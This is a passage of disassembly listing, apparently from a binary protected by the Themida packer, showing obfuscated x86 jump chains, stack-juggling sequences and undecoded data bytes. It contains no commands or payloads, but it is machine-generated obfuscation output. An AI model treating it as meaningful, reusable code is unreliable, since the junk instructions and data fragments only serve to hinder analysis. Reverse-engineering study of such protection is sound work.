		add	edx, 5E1F2894h
		add	edx, esi
		push	ecx
		mov	ecx, 1D6B59CCh
		shr	ecx, 1
		sub	ecx, 0B0968452h
		sub	edx, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	loc_544E0B
; ---------------------------------------------------------------------------


loc_544CCD:				; CODE XREF: Themida_:00545504j
		mov	ebp, [esp]
		add	esp, 4
		push	2406h
		jmp	loc_544AED
; ---------------------------------------------------------------------------
		db 88h,	0EBh, 59h
		dd 0E95BDD88h, 421h, 4B9h, 6DB22D00h, 0C80146BFh, 0BF6DB205h
		dd 0E9E95946h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544CFF:				; CODE XREF: Themida_:0054879Aj
		mov	ebp, eax
		jmp	loc_54FD5B
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 1B2D26B0h, 0C781D701h, 1B2D26B0h, 0E924148Bh, 739h
		dd 5756E089h, 8FA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_544D25:				; CODE XREF: Themida_:0054CA38j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 6ADA56E0h
		sub	ebx, eax
		push	ecx
		jmp	loc_544B91
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1F36AD4h, 0EA81C201h, 1F36AD4h, 558FC281h, 0E951050Fh
		dd 0A125h
; ---------------------------------------------------------------------------


loc_544D60:				; CODE XREF: Themida_:00547CADj
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_54BE73
; ---------------------------------------------------------------------------
		db 1, 0EAh, 0E9h
		dd 65C7h, 0BA52D801h, 5C8723B8h, 610FCA81h, 0C2813AFFh
		dd 2AA51774h, 1CE6C281h, 0F2812130h, 0F166B12Dh, 4019542Dh
		dd 5D00146h, 46401954h,	8324148Bh, 342D04C4h, 2D7BAE3Eh
		dd 668D5F3Ch, 9592E957h, 1C890000h, 33CFBB24h, 0EB810B12h
		dd 6F2646D0h, 74C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_544DC9:				; CODE XREF: Themida_:0054581Bj
		mov	esi, 2B3E38EAh
		jmp	loc_54532F
; ---------------------------------------------------------------------------
		db 59h
		dd 0DFE9595Ah
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544DDB:				; CODE XREF: Themida_:005446E6j
		xor	ecx, 7D4355C2h
		jmp	loc_550CC5
; ---------------------------------------------------------------------------
		dw 0C2FEh
		dd 0E9F8F280h, 87BBh, 7D6EE981h, 0C18110B3h, 400B311Fh
		dd 0FACEE981h, 0CF317E49h, 1BE94F59h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544E0B:				; CODE XREF: Themida_:00544CC8j
		push	462C4624h
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_54D9DF
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 488C0668h, 2047E9h, 57595A00h, 2BFh,	5FF82900h, 0E9240433h
		dd 85DBh
; ---------------------------------------------------------------------------


loc_544E38:				; CODE XREF: Themida_:00547EB9j
		pop	eax
		push	edi
		jmp	loc_54CE64
; ---------------------------------------------------------------------------


loc_544E3F:				; CODE XREF: Themida_:00547D67j
		push	esi
		mov	esi, 0AEB24A5h
		and	esi, 780D5238h
		jmp	loc_54B361
; ---------------------------------------------------------------------------
		dd 8B240487h, 0D3662424h, 0E99C243Ch, 0FFFFF847h
aN1Hhn		db '­1ØhHn',0           ; DATA XREF: Themida_:0054450Co
		align 4
		dd 0BA241489h, 56088612h, 2417E9h, 57E28900h, 9EE95F54h
		dd 100006Ch, 7EDBE9FBh,	0E3800000h, 0D5F380DFh,	285BDD28h
		dd 240C8BE8h, 95A3E956h, 0C4810000h, 4,	8124148Bh, 4C4h
		dd 0F7F9E900h, 8966FFFFh, 0B252240Ch, 0F6DAF663h, 80C2FEDAh
		dd 0D188DBF2h, 66C8285Ah, 57240C8Bh, 5152E9h, 48F5400h
		dd 24048324h, 243C8B04h, 4C481h, 0C7810000h, 4,	0FFFA87E9h
		dd 0E95156FFh, 2D95h, 4EC81h, 3C890000h, 555F5424h, 275E63BDh
		dd 23C1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544F06:				; CODE XREF: Themida_:00547A39j
		mov	[esp], esi
		push	1
		pop	esi
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	4A5Ah
		jmp	loc_54C900
; ---------------------------------------------------------------------------


loc_544F2B:				; CODE XREF: Themida_:0054C4D4j
		or	ebx, 38D12A1h
		jmp	loc_54F450
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 7FE5B951h, 0E9417908h
		db 0E2h, 0A6h
word_544F42	dw 0			; DATA XREF: ___:off_4274E0o
		dd 0BDFEEA81h, 0D501C144h, 74FF555Ah, 2C8B0424h, 6004E924h
		dd 9DB80000h, 4050212Fh, 5305D0F7h, 1268113h, 0E78158C7h
		dd 74ED4F26h, 8B7E9h, 8EDC100h,	0D21DF581h, 0C38137FDh
		dd 4AAE160Eh, 0EB81EB29h, 4AAE160Eh, 0A9ED815Dh, 1534548h
		dd 0A9C581DDh, 0E9534548h, 6288h, 24048966h, 0FFF6FEE9h
		dd 0B48DB1FFh, 0D08E90Fh, 680000h, 29000000h, 0C159240Ch
		dd 0F18102E1h, 4DB224B3h, 0C354E9h
		db 0
; ---------------------------------------------------------------------------


loc_544FC9:				; CODE XREF: Themida_:0054F6B8j
		pop	esi
		or	edi, 35CC193Dh
		jmp	loc_54F787
; ---------------------------------------------------------------------------
byte_544FD5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005445A0o
		dd 4EC8124h, 89000000h,	0E389241Ch, 4EC81h, 14890000h
		dd 7544BA24h, 0C2812EDEh, 3F5F07B8h, 768BE281h,	424A5C6Bh
		dd 27F5E9h, 4C48300h, 0DFF7F987h, 0C981F987h, 1D8C623Fh
		dd 704CBB53h, 0C3811704h, 0EB1EAD61h, 895BD901h, 0FB0159CBh
		dd 5BE90303h, 810000B8h, 0C64F0CC6h, 5EF389B1h,	0E95BD801h
		dd 3670h
dword_545040	dd 24048B66h, 55E08950h, 9A6BA52h, 0D5892E85h, 6EC5815Ah
					; DATA XREF: Themida_:0054459Co
		dd 0E921346Dh, 9612h
; ---------------------------------------------------------------------------


loc_54505C:				; CODE XREF: Themida_:00550630j
		add	ecx, 4
		jmp	loc_547C15
; ---------------------------------------------------------------------------
		db 81h
		dd 4DF08FEAh, 0E9D52910h, 974Dh, 0A0EA815Ah, 89E86C41h
		dd 0F6815AD6h, 72EC74C7h, 0E681D6F7h, 3739F8h, 7CB8CE81h
		dd 0C68135BBh, 61E17748h, 0B3A4E9h, 6E18BF00h, 0E7C15B0Ch
		dd 56EF8102h, 9663A95h,	0C42D5FF8h, 0E96D502Ah,	0EEFh
		dd 1C5865B9h, 1CE1811Ah, 81066835h, 4D6E96F1h, 8E9C175h
		dd 89E98141h, 81133453h, 877B26E9h, 59C8018Fh, 8904EC83h
		dd 0B951241Ch, 224E6C42h, 52B8C981h, 0E9577830h, 76E4h
		dd 4244481h, 11E60299h,	4244481h, 67644672h, 0BAA0E9h
		dd 5FE95A00h, 58000042h, 23E9F589h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545117:				; CODE XREF: Themida_:00550A82j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F574
; ---------------------------------------------------------------------------
word_54512A	dw 77FFh		; DATA XREF: Themida_:005445ECo
aSte		db '<éâ¥',0
		align 2


loc_545132:				; CODE XREF: Themida_:0054D449j
		sub	eax, edi
		push	626Eh
		jmp	loc_54AC52
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 24048724h, 0B764E9h
		dd 1F8E6800h, 8F540000h, 4812404h, 424h, 0C3815B00h, 4
		dd 4C381h, 1C870000h, 0E95A5C24h, 2152h, 5205E5C1h, 6239E9h
		dd 8075B400h, 0F480E1C4h, 47E480ACh, 28A4C480h,	9D3FE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54519E:				; CODE XREF: Themida_:0054F78Aj
		push	esi
		push	ecx
		mov	ecx, 56E57304h
		jmp	loc_54B9AD
; ---------------------------------------------------------------------------
		dw 489h
		dd 0A0BB5324h, 0B802A46Eh, 577971EBh, 0C15BD829h, 914003E8h
		dd 97AEE9h, 241C3100h, 5C241C33h, 71EBE9h, 4C48300h, 4C381h
		dd 0B3680000h, 89000023h, 74FF241Ch, 1C8B0424h,	4C48124h
		dd 8F000000h, 0FF5C2404h, 52592434h, 0E9575A54h, 7DE1h
		dd 4C181h, 0C330000h, 240C3124h, 0E9240C33h, 31Bh, 782DE959h
		dd 88E90000h, 2CFFFFF4h, 0ADB2521Ah, 2CA7C280h,	4D0280Dh
		dd 0C8B5A0Dh, 4C48124h,	80000000h, 0C328F3EBh, 8976851h
		dd 1C890000h, 843E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54524A:				; CODE XREF: Themida_:0054C0D4j
		xor	ebx, 61630CCDh
		add	ebx, 500816A8h
		sub	ebx, 1DD67011h
		push	ebx
		jmp	loc_54CBDF
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 30000000h,	73E959CFh, 81000083h, 4ECh, 24048900h
		dd 0B52BE9h, 24043300h,	0E9240431h, 6495h
; ---------------------------------------------------------------------------


loc_54528C:				; CODE XREF: Themida_:00550871j
		mov	ebx, 4B48101Bh
		shl	ebx, 4
		jmp	loc_54D6F7
; ---------------------------------------------------------------------------


loc_545299:				; CODE XREF: Themida_:00546061j
		mov	edi, 4B3056E1h
		and	edi, 25C02EA1h
		shl	edi, 2
		jmp	loc_54ED1E
; ---------------------------------------------------------------------------
		dd 8853B353h, 0B7535BDAh, 72EF8059h, 103068h, 24048900h
		dd 0C0E9FC88h, 0E900004Dh, 0FFFFF3DBh, 148BD601h, 4C48124h
		dd 87000000h, 46E92434h
		db 2Fh,	2 dup(0)
byte_5452DF	db 0ADh			; DATA XREF: Themida_:00544448o
		dd 267B951h, 0BA523724h, 28436559h, 2D5AD131h, 38DA5A3Fh
		dd 3F05C801h, 8B38DA5Ah, 0C483240Ch, 4C232D04h,	0BA524017h
		dd 77114DD4h, 0D14D6105h, 2DD00114h, 14D14D61h,	0BB61E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54531E:				; CODE XREF: Themida_:0054EB3Aj
		pop	ebx
		jmp	loc_546E48
; ---------------------------------------------------------------------------


loc_545324:				; CODE XREF: Themida_:005478E1j
		sub	ebp, 42BA7BABh
		jmp	loc_54EA26
; ---------------------------------------------------------------------------


loc_54532F:				; CODE XREF: Themida_:00544DCEj
		sub	esi, 2D7C1291h
		not	esi
		and	esi, 3D85BEFh
		neg	esi
		sub	esi, 5F9BC6FBh
		xor	eax, esi
		pop	esi
		push	ebp
		mov	ebp, eax
		mov	ebx, ebp
		pop	ebp
		pop	eax


loc_54534F:				; DATA XREF: ___:off_43664Co
		xor	eax, ebx
		pop	ebx
		push	5908h
		mov	[esp], ecx
		jmp	loc_5508B7
; ---------------------------------------------------------------------------
		db 0F6h
		dd 66DA88D3h, 0F652665Bh, 5A662414h, 0E2C0C2FEh, 3EAC004h
		dd 0AFEAE9h, 665D6600h,	0E906E5C1h, 4CB5h, 0F75EF209h
		dd 8EEA81D2h, 0E904BE44h, 0B4Ch, 42EDE958h, 40B70000h
		dd 0E948B551h, 4B6Eh, 0FEBEh, 0AF15E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5453AE:				; CODE XREF: Themida_:00546AFCj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 53A900ECh
		xor	eax, edx
		pop	edx
		push	6277h
		mov	[esp], ebp
		push	esi
		push	625923FBh
		pop	esi
		mov	ebp, esi
		jmp	loc_547116
; ---------------------------------------------------------------------------


loc_5453D4:				; CODE XREF: Themida_:0054F58Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_5454F9
; ---------------------------------------------------------------------------


loc_5453E1:				; CODE XREF: Themida_:0054898Ej
		shl	esi, 3
		jmp	loc_548827
; ---------------------------------------------------------------------------
		db 59h,	50h, 0B8h
		dd 99B52DDh, 9B52D92Dh,	58C10109h, 0FFFE03E9h, 3BE95EFFh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545403:				; CODE XREF: Themida_:0054D3A4j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	80h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5506AA
; ---------------------------------------------------------------------------
aSswh		db 'Séwh',0
		dw 8B00h
		dd 1E92424h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54542F:				; CODE XREF: Themida_:0054C5F2j
		pop	edx


loc_545430:				; CODE XREF: Themida_:0054ED34j
		push	ebx
		push	ebp
		push	2D0Ah
		mov	[esp], ecx
		mov	ecx, 369C48B5h
		mov	ebp, 9F8BB4B5h
		jmp	loc_54B150
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 5Eh
		dd 0D1F7D1F7h, 0E48E9h,	4C48300h, 0A929E9h, 0FBA5200h
		dd 313B3D43h, 91E95AD0h, 0FE00000Dh, 5EAC0C2h, 8015F280h
		dd 0D000BCEAh, 8324148Bh, 0D00004C4h, 8B66552Ch, 1FE92414h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54548B:				; CODE XREF: Themida_:0054EA16j
		add	edi, 65121563h
		not	edi
		add	edi, 0FFFFFFFFh
		and	edi, 147D7B8Fh
		add	edi, 33020862h
		sub	eax, edi
		jmp	loc_54F359
; ---------------------------------------------------------------------------
		dd 50B9514Fh, 136FBBFh,	82E959CFh, 5A000054h, 888CE9h
		dd 0BD5500h, 0E9000000h, 1099h
; ---------------------------------------------------------------------------


loc_5454CC:				; CODE XREF: Themida_:0054AFF9j
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		jmp	loc_550BB7
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0F9F76624h, 429C6866h, 24148966h, 0E99C5066h, 0FFFFF1B7h
		dd 5C241C87h, 8A3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5454F9:				; CODE XREF: Themida_:005453DCj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ebx, ebp
		jmp	loc_544CCD
; ---------------------------------------------------------------------------
		db 8Fh,	4, 87h
		dd 0FFFD09E9h, 240433FFh, 0E950515Ch, 84EFh, 7EE9E789h
		dd 58000040h, 8B24048Fh, 0C1E92424h, 8B000048h,	50532424h
		dd 0A233E9h, 3ED8000h, 0BDAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_545541:				; CODE XREF: Themida_:00546A7Ej
		or	eax, eax
		jz	loc_55090B
		push	ebx
		jmp	loc_54C5E9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 56241C89h, 5A1310BEh, 0C8C68172h, 463B3B43h,	0F79DEE81h
		dd 0F3894707h, 0C3BD555Eh, 8172FB12h, 0B4054C5h, 5DE829ADh
		dd 50A4E9h, 3E6C100h, 46E9F681h, 0EE812B82h, 0CF4FC67Dh
		dd 0FFF4BAE9h, 0F111E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545596:				; CODE XREF: Themida_:00545742j
		push	0E3Fh
		jmp	loc_5481B8
; ---------------------------------------------------------------------------
aNsA		db '­éÚ ',0             ; DATA XREF: Themida_:00544514o
		align 2


loc_5455A6:				; CODE XREF: Themida_:0054470Dj
		add	esp, 4
		xor	edx, eax
		pop	eax
		push	0F64h
		mov	[esp], eax
		jmp	loc_54AD28
; ---------------------------------------------------------------------------
		dd 4244488h, 675BE958h,	815C0000h, 1BA5242Ch, 0D4E91453h
		dd 66FFFFF0h, 88E88850h, 61BDE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5455DE:				; CODE XREF: Themida_:0054F909j
		add	esp, 4


loc_5455E4:				; CODE XREF: Themida_:005495ECj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_54B8D3
; ---------------------------------------------------------------------------


loc_5455F7:				; CODE XREF: Themida_:00547550j
		neg	edx
		push	edi
		jmp	loc_54F63F
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD31F3C9h, 0BAF1813Eh, 5387D370h, 0DE89CB89h, 2118E9h
		dd 0CEE6800h, 2C890000h, 53E58924h, 0A29B951h, 0F1814657h
		dd 7425B3Ch, 5159CB89h,	372DFB9h, 4695E93Fh, 0C2830000h
		dd 4EC8302h, 0FF241489h, 0FF042474h, 72E92434h,	89000022h
		dd 4368E6h, 14890000h, 17F5BA24h, 0EA812A84h, 6EFD5AD7h
		dd 0F281DAF7h, 447942E6h, 555AD601h, 408CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545676:				; CODE XREF: Themida_:00550E2Bj
		push	edi
		mov	edi, 4324889h
		mov	edx, 346B34B3h
		xor	edx, edi
		pop	edi
		add	edx, 0EE168FDFh
		add	eax, edx
		pop	edx
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_54B249
; ---------------------------------------------------------------------------


loc_545699:				; CODE XREF: Themida_:0054FD60j
		pop	ebp
		add	dword ptr [esp+4], 6A710F6Dh
		jmp	loc_548662
; ---------------------------------------------------------------------------
		db 55h
		dd 0BE61F2BDh, 0B7FEE951h, 0BE560000h, 7AC17078h, 0D6F7D6F7h
		dd 20DCE681h, 0DEF77A5Eh, 205CC681h, 0E9537A40h, 442h
		dd 42474FFh, 0E924348Bh, 9021h,	4C581h,	0C5810000h, 2
		dd 553AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5456ED:				; CODE XREF: Themida_:00550833j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54835D
; ---------------------------------------------------------------------------
		dd 0D3C18149h, 31C5D028h, 0E82959CDh, 5D8015Dh,	235A5BC6h
		dd 5F758105h, 6BED6824h, 34890000h, 3594E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545726:				; CODE XREF: Themida_:0054E2EBj
		mov	[esp], eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54D8EF
; ---------------------------------------------------------------------------


loc_545737:				; CODE XREF: Themida_:005493AFj
		sub	eax, edi
		jmp	loc_549C62
; ---------------------------------------------------------------------------


loc_54573E:				; CODE XREF: Themida_:0054D7B4j
		sub	[esp+4], ebx
		jmp	loc_545596
; ---------------------------------------------------------------------------
		db 28h
		dd 0F03058E6h, 31FBE95Ah, 34890000h, 4BE24h, 74010000h
		dd 5E5E0424h, 4BA5255h,	52000000h, 0EE240481h, 5D5FCB2Eh
		dd 2EEEED81h, 0AFE95FCBh, 5A000083h, 0AC9CE9h, 5EF33100h
		dd 336DEB81h, 0D829B0BEh, 0AE68535Bh, 89000050h, 17BE2434h
		dd 0E93A1F0Dh, 62BBh
; ---------------------------------------------------------------------------


loc_5457A0:				; CODE XREF: Themida_:00548F4Dj
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 23C27BBFh
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 25306BA4h
		add	eax, 22EDC1D4h
		mov	esi, eax
		pop	eax
		jmp	loc_54F6B6
; ---------------------------------------------------------------------------
		db 1
		dd 59055DE8h, 0E9415A34h, 4F6Fh
; ---------------------------------------------------------------------------


loc_5457E8:				; CODE XREF: Themida_:0054C5EAj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_54FFA8
; ---------------------------------------------------------------------------


loc_5457F5:				; CODE XREF: Themida_:00547909j
		push	eax
		push	esi
		mov	esi, 5BD51CB4h
		mov	eax, 0B6A6866Eh
		sub	eax, esi
		jmp	loc_54BD66
; ---------------------------------------------------------------------------


loc_545808:				; CODE XREF: Themida_:0054A3CDj
		sub	eax, 1
		shr	eax, 2
		add	eax, 77BC460Dh
		or	eax, 5C0274AAh
		push	esi
		jmp	loc_544DC9
; ---------------------------------------------------------------------------
aBI5kzsU	db 'Á› 5KZéÓ',0
		align 4
		dd 0FAE9D7F7h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545833:				; CODE XREF: Themida_:0054866Ej
		sub	dword ptr [esp+4], 17C76D6Fh
		pop	ecx
		jmp	loc_54B435
; ---------------------------------------------------------------------------
		db 88h,	0F1h, 5Ah
		dd 0E9C0D9F6h, 0E9C1FE05h, 0A363h, 6F6EEA81h, 0B95154A3h
		dd 5375476Bh, 0E959CA01h, 7C31h, 0C181D1F7h, 7D561973h
		dd 0A0AE9h, 30E95A00h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545877:				; CODE XREF: Themida_:0054A105j
		add	esi, eax
		sub	esi, 2DCF15E1h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_548B7D
; ---------------------------------------------------------------------------
		dd 0BA241489h, 3371D3Ch, 99F2814Ah, 0E969DE5Ch,	47C2h
dword_5458B4	dd 81E38953h, 4C3h, 13BA5200h, 423BB021h, 0A2ACE9h
					; DATA XREF: Themida_:00544590o
		db 0
; ---------------------------------------------------------------------------


loc_5458C9:				; CODE XREF: Themida_:0054670Dj
		mov	dh, 74h
		sub	bl, 0C3h
		jmp	loc_5497F6
; ---------------------------------------------------------------------------


loc_5458D3:				; CODE XREF: Themida_:0054C8C2j
		push	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_54A1A0
; ---------------------------------------------------------------------------


loc_5458DC:				; CODE XREF: Themida_:00546F38j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_54FFBB
; ---------------------------------------------------------------------------


loc_5458F6:				; CODE XREF: Themida_:0054E9F0j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54D3A0
; ---------------------------------------------------------------------------
		db 0Ch,	5, 0C0h
		dd 0BB2406E0h, 8003B551h, 0E5D094F5h, 0B252DDF6h, 68E2D0C1h
		dd 0
		dd 8A241428h, 0C4832414h, 36EA8004h, 9265E9h, 81595800h
		dd 80184E5h, 71C58148h,	0E96FE810h, 0AB04h, 28E95266h
		dd 66000064h, 9C242CD3h, 0FFED46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545961:				; CODE XREF: Themida_:0054B68Cj
		and	al, bh
		mov	bx, [esp]
		jmp	loc_54A150
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 31E95900h, 100009Ch, 0E5D15EF5h, 81DDF745h
		dd 87C775EDh, 5DEF31E3h, 31A8EF81h, 0C78156D6h,	61DB5619h
		dd 13EDEA81h, 0EA8157B3h, 52B15977h, 0C281FA01h, 52B15977h
		dd 13EDC281h, 3C8B57B3h, 4C48324h, 36DEC281h, 0C2015EF8h
		dd 36DEEA81h, 50565EF8h, 366E0BB8h, 58C6893Dh, 5E8EE9h
		dd 4C18100h, 83000000h,	148904ECh, 4BA24h, 0E9810000h
		dd 4B35209Bh, 2DE9D129h, 0C1FFFFFEh, 0C5E903E3h, 88000085h
		dd 0A4E95908h, 81FFFFECh, 767CFEF3h, 5BDF093Bh,	4038BD55h
		dd 0ED8119A9h, 0E7032A4Ch, 815DEF01h, 0D87E94C7h, 4EC8159h
		dd 89000000h, 0E1E92414h, 500000B1h, 8C13E9h, 815B5400h
		dd 4C3h, 4EC8300h, 0BA241489h, 4, 34FFD301h, 54525A24h
		dd 4C2815Ah, 0E9000000h, 0AF95h, 97E9F289h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A63:				; CODE XREF: Themida_:00548301j
					; Themida_:00549F35j
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54D468
; ---------------------------------------------------------------------------
byte_545A6F	db 0ACh			; DATA XREF: Themida_:00544540o
		dd 0CB868h, 241C8900h, 9733E9h,	3240BF00h, 0BD553928h
		dd 43355AFh, 1382E9h, 0F6D8B700h, 5587E9D7h, 0C6810000h
		dd 6614C7h, 0BB53DE01h,	6614C7h, 8016E9h
		db 0
; ---------------------------------------------------------------------------


loc_545AA9:				; CODE XREF: Themida_:005481E4j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5482F5
; ---------------------------------------------------------------------------
		dd 0F606E2C0h, 12AEE9DAh, 0E9520000h, 53CAh
; ---------------------------------------------------------------------------


loc_545AC4:				; CODE XREF: Themida_:005476CEj
		and	ebx, 6BE5897h
		jmp	loc_54CD8D
; ---------------------------------------------------------------------------


loc_545ACF:				; CODE XREF: Themida_:00547D87j
		sub	esi, 0AD00C5h
		jmp	loc_54A3DC
; ---------------------------------------------------------------------------
word_545ADA	dw 74FFh		; DATA XREF: Themida_:00544634o
		dd 34FF0424h, 2434FF24h, 5A545258h, 4C281h, 0C2830000h
		dd 24148704h, 4EC815Ch,	89000000h, 0E0892404h, 5FE0BE56h
		dd 3FE958AAh, 31000019h, 8E2EE9F8h, 0E4BB0000h,	0E948AD01h
		dd 1D9Eh, 4C181h, 0C870000h, 2C335C24h,	242C3124h, 8B242C33h
		dd 4282424h, 6CE99C24h
		db 0EBh, 2 dup(0FFh)
byte_545B3B	db 66h			; DATA XREF: Themida_:005443FCo
		dd 68240C8Bh, 492Ah, 83240489h,	9FE904ECh, 89000010h, 4DE92434h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545B57:				; CODE XREF: Themida_:0054A265j
		xor	esi, 0DE9D545Ch
		and	ecx, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_549B7A
; ---------------------------------------------------------------------------
		dw 489h
		dd 55E08924h, 0E6296BBDh, 0BEF5810Fh, 0E914CE3Ah, 30A1h
; ---------------------------------------------------------------------------


loc_545B8C:				; CODE XREF: Themida_:00550485j
		push	dword ptr [esp+4]
		jmp	loc_54FF2C
; ---------------------------------------------------------------------------


loc_545B95:				; CODE XREF: Themida_:0054681Fj
		push	dword ptr [esp]
		jmp	loc_5474C3
; ---------------------------------------------------------------------------


loc_545B9D:				; CODE XREF: Themida_:0054C589j
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_548EE1
; ---------------------------------------------------------------------------
aSsi		db 'Sé¨\',0
		dd 5AD60100h, 4B850h, 0C6010000h, 24348758h, 4EC815Ch
		dd 89000000h, 1ABE2434h, 812FE416h, 1BE9EAC6h, 8BF301D0h
		dd 0C4832434h, 25E95004h, 0B9000047h, 723D6056h, 3BE9E1D1h
		dd 81000057h, 4C7h, 243C8700h, 8F74E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545BFE:				; CODE XREF: Themida_:0055005Ej
		add	esp, 4
		push	6025h
		mov	[esp], edx
		xor	dword ptr [esp], 18C869B0h
		jmp	loc_545CFE
; ---------------------------------------------------------------------------
		dd 0FFEA8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545C1D:				; CODE XREF: Themida_:0054FD81j
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		push	edx
		push	29694D9Dh
		pop	edx
		not	edx
		xor	edx, 17DF31A3h
		jmp	loc_54A1D6
; ---------------------------------------------------------------------------


loc_545C3C:				; CODE XREF: Themida_:0055059Dj
		push	edi
		push	eax
		pop	edi
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_54ACB3
; ---------------------------------------------------------------------------
		db 54h,	58h, 81h
		dd 4ECh, 241C8900h, 1226E9h, 5A586600h,	8904EC83h, 0A0B62414h
		dd 9FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_545C6D:				; CODE XREF: Themida_:00546CBCj
		push	0E9Ah
		jmp	loc_54DA5B
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 72DEh
; ---------------------------------------------------------------------------


loc_545C80:				; CODE XREF: Themida_:0054B8B2j
		and	eax, 23380BA0h
		add	eax, 1
		sub	esp, 4
		jmp	loc_549921
; ---------------------------------------------------------------------------
		dw 10E9h
		dd 5FFFFEAh, 4,	22Dh, 24048700h, 489665Ch, 5CC2E924h, 83580000h
		dd 148704C2h, 70F8E924h, 0CC300000h, 32EC8059h,	45E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_545CC5:				; CODE XREF: Themida_:00546BE9j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	[edi+24h], ecx
		pop	ecx
		shr	dword ptr [edi+24h], 6
		jmp	loc_54875A
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 8F5E0424h, 895C2404h, 34FF2404h, 0C4835A24h,	0E9B1E904h
		db 2 dup(0FFh)
word_545CF6	dw 34FFh		; DATA XREF: Themida_:00544640o
aSi		db '$鈜',0
		align 2


loc_545CFE:				; CODE XREF: Themida_:00545C13j
		pop	ebx
		jmp	loc_54F865
; ---------------------------------------------------------------------------
